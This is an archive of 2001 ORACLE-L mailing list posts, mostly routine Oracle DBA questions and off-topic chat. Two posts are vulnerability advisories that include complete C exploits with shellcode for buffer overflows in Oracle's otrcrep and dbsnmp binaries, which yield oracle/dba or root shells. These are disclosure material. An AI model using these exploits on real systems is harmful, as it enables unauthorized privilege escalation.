RE: Evaluation questions - Precise Tool

2001-08-02 Thread VIVEK_SHARMA


Which Components of this Tool (Precise) are advisable ?
How does it Compare with Other Tools ?
Any Highlights ?

Lastly Paying for a Tool , is it indeed Advisable OR are there any
Freeware Tools 
which may be Good enough ? 



 -Original Message-
 From: Rachel Carmichael [SMTP:[EMAIL PROTECTED]]
 Sent: Wednesday, August 01, 2001 11:04 PM
 To:   Multiple recipients of list ORACLE-L
 Subject:  RE: Evaluation questions
 
 
 
 Chaim,
 
 That could work. Logminer wasn't around when I first had this problem,
 and I 
 haven't spent time working with it.
 
 From what I know from listening to Joe present on it though, it would
 be a 
 more complicated process than I want. I'd have to be sure that the 
 dictionary map was always up to date, and I would have to go back and
 look 
 through all the archived logs as well as the online ones, in case the 
 statement had been archived off. It also sounds like it would be
 intensely 
 manual.
 
 Joe -- any thoughts on this?
 
 
 I want something that runs FAST, so I can clear locks quickly.  And
 then go 
 on to the fun stuff of killing duhvelopers.
 
 Rachel (today it is hot and humid here, and today the AC in the office
 
 doesn't work killing duhvelopers is looking like more and more
 fun)
 
 
 
 From: [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: Evaluation questions
 Date: Wed, 01 Aug 2001 07:51:19 -0800
 
 
 
 
 
 
 
 
 Rachel Carmichael [EMAIL PROTECTED] on 07/31/2001 11:48:02 AM
 
 Please respond to [EMAIL PROTECTED]
 
 To:   Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 cc:(bcc: Chaim Katz/Completions/Bombardier)
 
 
 
 
 Rachel,
 
 I don't know how to retreive the locking sql either, but reading this
 
 discussion
 it occurred to me that 1)  in v$session (of the blocked session) we
 have 
 the
 file#,block#,row# that is being waited on. Maybe with logminer (or 
 something
 like it) we could find the most recent SQL that affected this
 block/row?
 
 Chaim
 
 
 
 Gary,
 
 I wish it did. I worked with Q Diagnostics for quite a while, and
 worked
 directly with the developer (although calling John Beresniewicz a
 developer
 is an understatement, he's brilliant!) on answering that problem.
 
 Neither Q nor anything from Platinum (does that tell you how long ago
 it
 was?) was able to find the locking sql with any precision. The answer
 I got
 back from both of them was if you figure out how to do it, PLEASE
 let us
 know
 
 Having said that, Q Diagnostics was indeed bliss... I fixed locks
 before
 users complained, was able to model and monitor bad SQL and fix it
 and had
 lots of good info directly on the desktop.
 
 Rachel
 
 
  From: Gary Weber [EMAIL PROTECTED]
  Reply-To: [EMAIL PROTECTED]
  To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
  Subject: RE: Evaluation questions
  Date: Tue, 31 Jul 2001 06:11:36 -0800
  
  Rachel,
  
  I believe your second wish from below (locking SQL) has been
 granted by
  former Savant product called Q Diagnostic Center, currently owned
 by
  Precise. Drill down to locks, including user and SQL info - its a
 bliss.
  
  Gary Weber
  Senior DBA
  Charles Jones, LLC
  609-530-1144, ext 5529
  
  -Original Message-
  Carmichael
  Sent: Tuesday, July 31, 2001 8:56 AM
  To: Multiple recipients of list ORACLE-L
  
  
  one I want is can the package tell me when a datafile extends
  
  also, I want (and have NEVER found) a package that can tell me the 
 locking
  SQL, when the locker has gone on and done other SQL after the lock.
  
  ex.
  
  user1 does:
select * from table for update where some where clause
update table
insert into second table
  and does not commit
  
  user2 comes in and tries to update the first table, one of the rows
 that
  meets user1's where clause
  
  I can tell that user1 is blocking user2 but not the SQL that is
 doing the
  blocking. That's useful in beating duhvelopers about the head in
 order to
  get the code fixed.
  
  
  
   From: O'Neill, Sean [EMAIL PROTECTED]
   Reply-To: [EMAIL PROTECTED]
   To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
   Subject: Evaluation questions
   Date: Tue, 31 Jul 2001 02:25:49 -0800
   
   I'm still slogging away at selection process of DB monitor tool.
 I'm 
 now
   at
   stage where I'm compiling a list of specific tasks I'd like to
 take the
   contenders through and score them on same.
   E.G.
   Can package alert if Oracle DB goes down?
   Can package alert if Control File extends?
   
   I'd appreciate your feedback on what you think the monitor
 package 
 should
   be
   able to do, ya know those things you want to know about before
 anyone
  else
   does!.  I'm particularly fishing for events that might be a bit
 more
   obscure
   yet still useful to monitor.
   
   
   Sean :)
   
   Rookie Data Base Administrator
   Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
   [0%] OCP Oracle8i DBA
   [0%] OCP Oracle9i 

Re: How to import using pipe?

2001-08-02 Thread nlzanen1


Hi,


What you can also do is to export and import at the same time using a pipe.
This way you do not generate any dump file plus export and import are done
at the same time so should in theory save you time as well. This works very
well with parfiles and can than be scheduled to run in the evening.
(command line may require some switching to give some input)


Jack


   
  
Leslie Lu  
  
leslie_y_lu@y   To: Multiple recipients of list ORACLE-L 
[EMAIL PROTECTED] 
ahoo.comcc: (bcc: Jack van 
Zanen/nlzanen1/External/MEY/NL)  
Sent by: Subject: How to import using pipe?
  
[EMAIL PROTECTED] 
  
om 
  
   
  
   
  
01-08-2001 
  
23:22  
  
Please respond 
  
to ORACLE-L
  
   
  
   
  



Hi all,

Thank you all those answered my question!

I got a compressed file Amin.dmp.Z of 1.28G.  After
uncompress, the Amin.dmp file is 9.7G.  Can someone
show me how to import using pipe?  The pipe works on Z
file or dmp file?  (Oracle815 for both export, import
db, Sun 5.6).

Thank you.
Leslie


__
Do You Yahoo!?
Make international calls for as low as $.04/minute with Yahoo! Messenger
http://phonecard.yahoo.com/
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Leslie Lu
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).




=
De informatie verzonden in dit e-mailbericht is vertrouwelijk en is
uitsluitend bestemd voor de geadresseerde. Openbaarmaking,
vermenigvuldiging, verspreiding en/of verstrekking van deze informatie aan
derden is, behoudens voorafgaande schriftelijke toestemming van Ernst 
Young, niet toegestaan. Ernst  Young staat niet in voor de juiste en
volledige overbrenging van de inhoud van een verzonden e-mailbericht, noch
voor tijdige ontvangst daarvan. Ernst  Young kan niet garanderen dat een
verzonden e-mailbericht vrij is van virussen, noch dat e-mailberichten
worden overgebracht zonder inbreuk of tussenkomst van onbevoegde derden.

Indien bovenstaand e-mailbericht niet aan u is gericht, verzoeken wij u
vriendelijk doch dringend het e-mailbericht te retourneren aan de verzender
en het origineel en eventuele kopieën te verwijderen en te vernietigen.

Ernst  Young hanteert bij de uitoefening van haar werkzaamheden algemene
voorwaarden, waarin een beperking van aansprakelijkheid is opgenomen. De
algemene voorwaarden worden u op verzoek kosteloos toegezonden.
=
The information contained in this communication is confidential and is
intended solely for the use of the individual or entity to whom it is
addressed. You should not copy, disclose or distribute this communication
without the authority of Ernst  Young. Ernst  Young is neither liable for
the proper and complete transmission of the information contained in this
communication nor for any delay in its receipt. Ernst  Young does not
guarantee that the integrity of this communication has been maintained nor
that the communication is free of viruses, interceptions or 

RE: OT about to peeve off the vegatarians: RE: OT RE: Largest

2001-08-02 Thread Robertson Lee - lerobe

I guess thats one of the things we have going for us in little old England.
Where I live in the North East of England (Northumberland to be precise)
there are a whole host of farms where you can go and pick your own within
between 5 and 20 minutes drive from my house.

Aaaah!

Lee


-Original Message-
Sent: 02 August 2001 01:55
To: Multiple recipients of list ORACLE-L


Cherie,


You guys are making me soo jealous. (and so hungry for fresh 
strawberries!)

Rachel

From: [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Date: Wed, 01 Aug 2001 13:38:35 -0800


Rachel,

When I worked at Rockwell in Anaheim (Southern California - sort of a
suburb of Los Angeles),
I used to drive right past a strawberry field every night on my way home
from work.  Most of the berries
would be picked and shipped to market or wherever but there was always a
small stand at the
edge of the field where you could stop and buy direct from the grower.

It was strange to find a strawberry field in the middle of the city.   That
was fifteen years ago.
I'm not sure if it's still there - what with the high price of real estate
in that area.

Anyway, the taste was just as April described it.  Warm and damp and
flavorful.  The smell alone
would make me stop.

Every summer I long for those strawberries and I've yet to find anything
close here in the Midwest.

Cherie Machler
nostalgic for a few things about Southern California - like the produce
markets




 Rachel
 Carmichael  To: Multiple recipients of 
list ORACLE-L [EMAIL PROTECTED]
 carmichr@hotcc:
 mail.comSubject: RE: OT about to 
peeve off the vegatarians: RE: OT RE:
 Sent by: Largest
 root@fatcity.
 com


 08/01/01
 03:15 PM
 Please
 respond to
 ORACLE-L






April,

Okay, now tell me WHERE I can get those?  The ones from the greenmarket are

already insanely wonderful, I'm not sure I could stand anything more
intense
:)

Rachel


 From: April Wells [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
 Date: Wed, 01 Aug 2001 10:37:19 -0800
 
 Rachel,
 
 You need to try strawberries, warm from the sun, wet from the irrigation
 system, with the light dusty dirt still crunching on them.
 
 April
 
 -Original Message-
 Sent: Wednesday, August 01, 2001 12:17 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Ian,
 
 You have my sympathies for your struggles. And my respect for how you 
seem
 to be dealing with them. My husband was a hemophiliac. Just living with
 that
 
 as an adult was hard. To live with a genetic disorder in a child must be
 infinitely harder. I have an enormous respect for my mother-in-law who
 raised such a child and did not wrap him in cotton-wool, in case he got
 hurt.
 
 You are in CA, where you can get a much better assortment of
 non-store-bought produce than I can here in NYC, although I tend to
 frequent
 
 the greenmarkets and try to buy what is in season when I buy in stores.
 Even
 
 then, store-bought doesn't taste as good as fresh-picked. I have 
converted
 one person at work to never eating store-bought strawberries again, he
 tried
 
 some from the greenmarket when they were in season and was convinced.
 
 Rachel
 
 
  From: MacGregor, Ian A. [EMAIL PROTECTED]
  Reply-To: [EMAIL PROTECTED]
  To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
  Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
  Date: Tue, 31 Jul 2001 15:15:35 -0800
  
  So where do I get my woolly mammoth steaks.  What was the life
expectancy
  of early hominids?  I don't know about Maine Blue Berries, but wild
  blueberries in Nova Scotia are just as sweet if not sweeter than the
 store
  bought ones.
  
  Where in a reputable peer-reviewed journal can one find an article 
store
  bought food is less nutritious than wild food.  The purpose of fruit is
 to
  be eaten, the seeds passing through the digestive  system intact to be
  planted with a little fertilizer.  The sweeter the fruit, the more
 animals
  are attracted, the greater chance of the plant dispersing its progeny.
  
  As far as I can tell taste takes a second seat to looks with commercial
  produce.  Produce is picked before its time so it can be transported
  unbruised.  It doesn't taste as good as the stuff off a backyard tree.
  
  
  My daughter is autistic.  We have her on a cassein and gluten free 
diet.
  It seems to have done her some good; her attentiveness has increased 
and
  her perserveration has dropped.  My wife swears it has; 

vulnerability in otrcrep binary in Oracle 8.0.5.

2001-08-02 Thread Juan Manuel Pascual Escriba



  WWW.PLAZASITE.COM
  System  Security Division




   Title: Vulnerability in otrcrep in Oracle 8.0.5
Date: 14-12-2000
Platform: Only tested in Linux, but can be exported to others.
  Impact: Any user gain euid=oracle and egid=dba.
  Author: Juan Manuel Pascual ([EMAIL PROTECTED])
  Status: Vendor contacted at 18th July 2001


PROBLEM SUMMARY:
There is a buffer overflow in otrcrep binary that can be use by
local users to obtain euid of oracle user and egid to dba group.

IMPACT:
Any user with local access, can gain euid= oracle and compromise the
integrity of DataBase.

SOLUTION:
Chmod -s.

STATUS:
Vendor was contacted .


This vulnerability was researched by:
Juan Manuel Pascual Escriba[EMAIL PROTECTED]

/* cc -o evolut otrcrep.c; ./evolut 300 0 */

#include stdio.h
#include stdlib.h

#define BUFFER 300 
#define OFFSET 0 
#define NOP0x90
#define BINARY  /home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG
#define ORACLE_HOME /home/oracle/app/oracle/product/8.0.5


char shellcode[] =
  \xeb\x1d
  \x5e
  \x29\xc0
  \x88\x46\x07
  \x89\x46\x0c
  \x89\x76\x08
  \xb0\x0b
  \x87\xf3
  \x8d\x4b\x08
  \x8d\x53\x0c
  \xcd\x80
  \x29\xc0
  \x40
  \xcd\x80
  \xe8\xde\xff\xff\xff/bin/sh;

unsigned long get_sp(void) {
   __asm__(movl %esp,%eax);
}

 /* void main(int argc, char *argv[]) { */
void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
printf(Can't allocate memory.\n);
exit(0);
  }

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i  bsize; i+=4)
*(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i  strlen(shellcode); i++)
*(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
setenv(ORACLE_HOME,ORACLE_HOME,1);
setenv(EGG,buff,1);  
system(BINARY);  
}




RE: RULE vs. CHOOSE

2001-08-02 Thread VIVEK_SHARMA


Qs. Is there any Way to Generate the IDEAL OUTLINE Plans Plans in 1
Database 
 Send it for Import to ALL the Various Sites World-wide ?

Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to 
be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations

are in progress ? What would be the Overhead of Such a Package (if
Exists) ? 

Thanks so much for the Help

 -Original Message-
 From: Gillies, Garry [SMTP:[EMAIL PROTECTED]]
 Sent: Wednesday, August 01, 2001 8:01 PM
 To:   Multiple recipients of list ORACLE-L
 Subject:  RE: RULE vs. CHOOSE
 
 
  From: VIVEK_SHARMA [mailto:[EMAIL PROTECTED]] 
  Sent: 01 August 2001 08:05 
  Subject: RULE vs. CHOOSE 
  
  Qs. Will COST Based Optimizer (CBO) or Rule Based Optimizer (RBO) be
 
  used  for the PARTITIONED Table in the Following Query ? 
  
  NOTE OPTIMIZER_MODE is Set Explicitly to RULE , Run the 
  Following SQL :- 
  
  SELECT Some Columns 
  FROM Partition Table , NON-Partitioned Table 
  where Partition Table.Column = NON-Partitioned Table.Column 
  
  Assuming Partition Table.Column is the PARTITION KEY 
   BOTH Partition Table  NON-Partitioned Table are ANALYZED . 
  
 
 Development stopped on RBO at version 7. Partitioning is a version 8 
 feature. Since RBO has no knowledge of dealing with partitions, CBO 
 must be used. 
 
  Qs. Will Only the Respective partition be SCANNED in the Above Query
 ? 
 
 No. There is nothing in that query that tells the optimiser that only 
 a particular partition will be required. 
 
  Qs. Would there be Any Disadvantage in SETTING OPTIMIZER_MODE=RULE
 for 
  the Above Query ? 
 
 It would be ignored. The CBO would be used, defaulting to ALL_ROWS. 
   
  Qs. How is it Best Possible to KEEP the SAME (BEST) Execution Plan
 at 
  Various Sites where the SAME PRODUCT Exists 
 
 Yes, but you must be using CBO - see CREATE OUTLINE in SQL reference
 manual. 
   
  Qs. Is there any PACKAGE etc. which Automatically Causes Statistics
 to 
  be ANALYZED in some SMALL proportions (Bit by Bit) while Live 
  Operations 
  are in progress ? What would be the Overhead of Such a Package (if 
  Exists) ? 
 
 I do not know. 
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: VIVEK_SHARMA
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT about to peeve off the vegatarians: RE: OT RE: Largest

2001-08-02 Thread Farnsworth, Dave

Where I live we have many strawberry farms where the customer picks their
own berries.  We picked about 50 pounds and then I made some of the best
strawberry jam.  The store bought jam is not a close second to mine! (I pat
my own back)   
Picking the berries right off the vine is the best way.  They are
soo fresh, juicy and delicious!!

Dave

-Original Message-
Sent: Wednesday, August 01, 2001 4:02 PM
To: Multiple recipients of list ORACLE-L


While you're at it, April, could you tell me where I could get about 80
pounds of those strawberries?  The frozen ones I've been using to make wine
are not quite what I have hoped they'd be.

David

-Original Message-
Carmichael
Sent: Wednesday, August 01, 2001 1:16 PM
To: Multiple recipients of list ORACLE-L


April,

Okay, now tell me WHERE I can get those?  The ones from the greenmarket are
already insanely wonderful, I'm not sure I could stand anything more intense
:)

Rachel


From: April Wells [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Date: Wed, 01 Aug 2001 10:37:19 -0800

Rachel,

You need to try strawberries, warm from the sun, wet from the irrigation
system, with the light dusty dirt still crunching on them.

April

-Original Message-
Sent: Wednesday, August 01, 2001 12:17 AM
To: Multiple recipients of list ORACLE-L


Ian,

You have my sympathies for your struggles. And my respect for how you seem
to be dealing with them. My husband was a hemophiliac. Just living with
that

as an adult was hard. To live with a genetic disorder in a child must be
infinitely harder. I have an enormous respect for my mother-in-law who
raised such a child and did not wrap him in cotton-wool, in case he got
hurt.

You are in CA, where you can get a much better assortment of
non-store-bought produce than I can here in NYC, although I tend to
frequent

the greenmarkets and try to buy what is in season when I buy in stores.
Even

then, store-bought doesn't taste as good as fresh-picked. I have converted
one person at work to never eating store-bought strawberries again, he
tried

some from the greenmarket when they were in season and was convinced.

Rachel


 From: MacGregor, Ian A. [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
 Date: Tue, 31 Jul 2001 15:15:35 -0800
 
 So where do I get my woolly mammoth steaks.  What was the life expectancy
 of early hominids?  I don't know about Maine Blue Berries, but wild
 blueberries in Nova Scotia are just as sweet if not sweeter than the
store
 bought ones.
 
 Where in a reputable peer-reviewed journal can one find an article store
 bought food is less nutritious than wild food.  The purpose of fruit is
to
 be eaten, the seeds passing through the digestive  system intact to be
 planted with a little fertilizer.  The sweeter the fruit, the more
animals
 are attracted, the greater chance of the plant dispersing its progeny.
 
 As far as I can tell taste takes a second seat to looks with commercial
 produce.  Produce is picked before its time so it can be transported
 unbruised.  It doesn't taste as good as the stuff off a backyard tree.
 
 
 My daughter is autistic.  We have her on a cassein and gluten free diet.
 It seems to have done her some good; her attentiveness has increased and
 her perserveration has dropped.  My wife swears it has; I lean more
towards

 non-casual coincidence, but I don't want  to give her bread pudding in
case

 I'm wrong.  You won't believe how many things have gluten and cassein.
 Gluten is not naturally found in corn, but it's in corn flakes.  Most soy
 cheeses have cassein in them  so they melt like dairy cheeses.  It is
very
 difficult to keep on such a diet,  taking all  grains out of the diet
would

 be harder still.
 
 Autism is a multi-genetic disorder; i.e, more than one gene is involved.
 Latest evidence is that the genes express themselves about  the first
month

 of pregnancy.  In the future it will be detectable via amniocentesis,
much
 like trisomy 13  is today.  For a parent it becomes noticeable somewhere
 between 15 months and two years.
 
 So what does this have to do with cassein and gluten.  There are
 double-blind  studies which indicate some children do better  on such a
 diet.
 
 
 I like to think the experience has made me a better person.  Before, when
a

 developmentally-disabled child walked into a room I'd act like the kid
was
 contagious.
 
 
 Ian MacGregor
 Stanford Linear Accelerator Center
 [EMAIL PROTECTED]
 
 
 
 
 
 
 -Original Message-
 Sent: Tuesday, July 31, 2001 1:12 PM
 To: Multiple recipients of list ORACLE-L
 
 
 http://www.healingcrow.com/dietsmain/paleo/paleo.html
 
 -Original Message-
 Sent: Tuesday, July 31, 2001 3:36 PM
 To: Multiple recipients of 

Local Vulnerability in dbsnmp binary in Oracle 8.1.6 - 8.1.7 - 9i

2001-08-02 Thread Juan Manuel Pascual Escriba






  WWW.PLAZASITE.COM

  Systems  Security Division









Title:Local Vulnerability in dbsnmp binary

Date: 13-07-2001

Platform: Only tested in Linux but can be exported to others.

Impact:   Users belonging to oracle group can obtain euid=0

Author:   Juan Manuel Pascual Escriba [EMAIL PROTECTED]

Status:   Vendor contacted








PROBLEM SUMMARY:

Buffer overflow exists if ORACLE_HOME enviroment variable is defined
with a size greater than 749 bytes


[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s---1 root oinstall   667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp

[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print Ax749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462

[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print Ax750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Segmentation fault


This overflow exists in newer products like Oracle 9i and maybe in older
too.



[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s---1 root oinstall   971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp

[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print Ax749'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Failed to initialize nl component,error=462

[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print Ax750'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault



IMPACT:
Any user belonging to oracle group can obtain euid=0.

SOLUTION:
Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...

I dont understand why is necesary root privileges to open ports 
1023 ?

SPECIAL THANKS:

Francisco Fernandez [EMAIL PROTECTED]
Ivan Sanchez
[EMAIL PROTECTED]
Mundo Alonso-Cuevillas   [EMAIL PROTECTED]




--
This vulnerability was researched by:
Juan Manuel Pascual Escriba[EMAIL PROTECTED]



--


 In God We trust, Others We monitor 

-
 Juan Manuel Pascual EscribáAdministrador de Sistemas
 PlazaSite S.A. c/ Tomás Bretón 32-38
 08950 Esplugues de Llobregat   (Barcelona),SPAIN
 Ph: +34 93 3717398   Fax: +34 93 3711968
 mob: 667591142 Email: [EMAIL PROTECTED]
-















/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in 
RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. 
Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal 
(uid=oracle) shell for low offsets (incomplete setuid(0) jumps). 



Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas.

L.E.Aute
 


This vulnerability was researched by:
Juan Manuel Pascual [EMAIL PROTECTED]

Special thanks to:

Ivan Sanchez [EMAIL PROTECTED]
Mundo Alonso-Cuevillas [EMAIL PROTECTED]
*/





#include stdio.h
#include stdlib.h

#define BUFFER  800
#define OFFSET 7896
#define NOP0x90
#define BINARY  /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp


char shellcode[] =
\x90  /* Additional NOP */
\x31\xc0  /* begin setuid (0) */
\x31\xdb
\xb0\x17
\xcd\x80

\xeb\x1f
\x5e
\x89\x76\x08
\x31\xc0
\x88\x46\x07
\x89\x46\x0c
\xb0\x0b
\x89\xf3
\x8d\x4e\x08
\x8d\x56\x0c
\xcd\x80
\x31\xdb
\x89\xd8
\x40
\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh;


unsigned long get_sp(void) {
   __asm__(movl %esp,%eax);
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
printf(Can't allocate memory.\n);
exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i  bsize; i+=4)
*(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i  strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv(ORACLE_HOME,buff,1);

Re: Boss needs proof of 9i/11i/Linux environment

2001-08-02 Thread Ron Rogers

Go to the Oracle store and see what is available for purchase ($40 each) and then you 
will be able to have the compinations that Oracle supports. It sounds like the 
consultants want to sell you another system they support.
The combination you suggest is do-able if i remember correctly from the downloads I 
have.
ROR mª¿ªm

 [EMAIL PROTECTED] 08/01/01 06:44PM 
I know this has been covered, I remember seeing the messages, but my boss 
doesn't believe me and has been told otherwise.

We are in the process of implementing Oracle 9i with Oracle Applications 
11i on a Sun platform.  We have a few extremely powerful Intel boxes that 
will be freed up with this transition, and I told him that we can implement 
the same environment on Linux on one of these boxes as a disaster platform. 
 The consultants that are doing the implementation told him emphatically 
that this environment will not run on Linux.

So, I am looking for the ammunition to prove that it can be done.  Anyone 
who has this implementation, could you tell me the full version of what you 
have running for LINUX, Oracle database and Oracle Application set.

Thanks for your assistance in this re-hashing.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: William Rogge
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Ron Rogers
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: RULE vs. CHOOSE

2001-08-02 Thread C.S.Venkata Subramanian

1)I feel each plan depends on init parameters of Oracle. 
2) You can statspack of Oracle. It will give u reports of the performance of the DB.

HTH
--

On Thu, 2 Aug 2001 13:01:56   
 VIVEK_SHARMA wrote:

Qs. Is there any Way to Generate the IDEAL OUTLINE Plans Plans in 1
Database 
 Send it for Import to ALL the Various Sites World-wide ?

Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to 
be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations

are in progress ? What would be the Overhead of Such a Package (if
Exists) ? 

Thanks so much for the Help

 -Original Message-
 From:Gillies, Garry [SMTP:[EMAIL PROTECTED]]
 Sent:Wednesday, August 01, 2001 8:01 PM
 To:  Multiple recipients of list ORACLE-L
 Subject: RE: RULE vs. CHOOSE
 
 
  From: VIVEK_SHARMA [mailto:[EMAIL PROTECTED]] 
  Sent: 01 August 2001 08:05 
  Subject: RULE vs. CHOOSE 
  
  Qs. Will COST Based Optimizer (CBO) or Rule Based Optimizer (RBO) be
 
  used  for the PARTITIONED Table in the Following Query ? 
  
  NOTE OPTIMIZER_MODE is Set Explicitly to RULE , Run the 
  Following SQL :- 
  
  SELECT Some Columns 
  FROM Partition Table , NON-Partitioned Table 
  where Partition Table.Column = NON-Partitioned Table.Column 
  
  Assuming Partition Table.Column is the PARTITION KEY 
   BOTH Partition Table  NON-Partitioned Table are ANALYZED . 
  
 
 Development stopped on RBO at version 7. Partitioning is a version 8 
 feature. Since RBO has no knowledge of dealing with partitions, CBO 
 must be used. 
 
  Qs. Will Only the Respective partition be SCANNED in the Above Query
 ? 
 
 No. There is nothing in that query that tells the optimiser that only 
 a particular partition will be required. 
 
  Qs. Would there be Any Disadvantage in SETTING OPTIMIZER_MODE=RULE
 for 
  the Above Query ? 
 
 It would be ignored. The CBO would be used, defaulting to ALL_ROWS. 
   
  Qs. How is it Best Possible to KEEP the SAME (BEST) Execution Plan
 at 
  Various Sites where the SAME PRODUCT Exists 
 
 Yes, but you must be using CBO - see CREATE OUTLINE in SQL reference
 manual. 
   
  Qs. Is there any PACKAGE etc. which Automatically Causes Statistics
 to 
  be ANALYZED in some SMALL proportions (Bit by Bit) while Live 
  Operations 
  are in progress ? What would be the Overhead of Such a Package (if 
  Exists) ? 
 
 I do not know. 
 



Get 250 color business cards for FREE!
http://businesscards.lycos.com/vp/fastpath/
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: C.S.Venkata Subramanian
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Anderson, Brian

I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.

For those not in the US, it's from an old TV commercial.

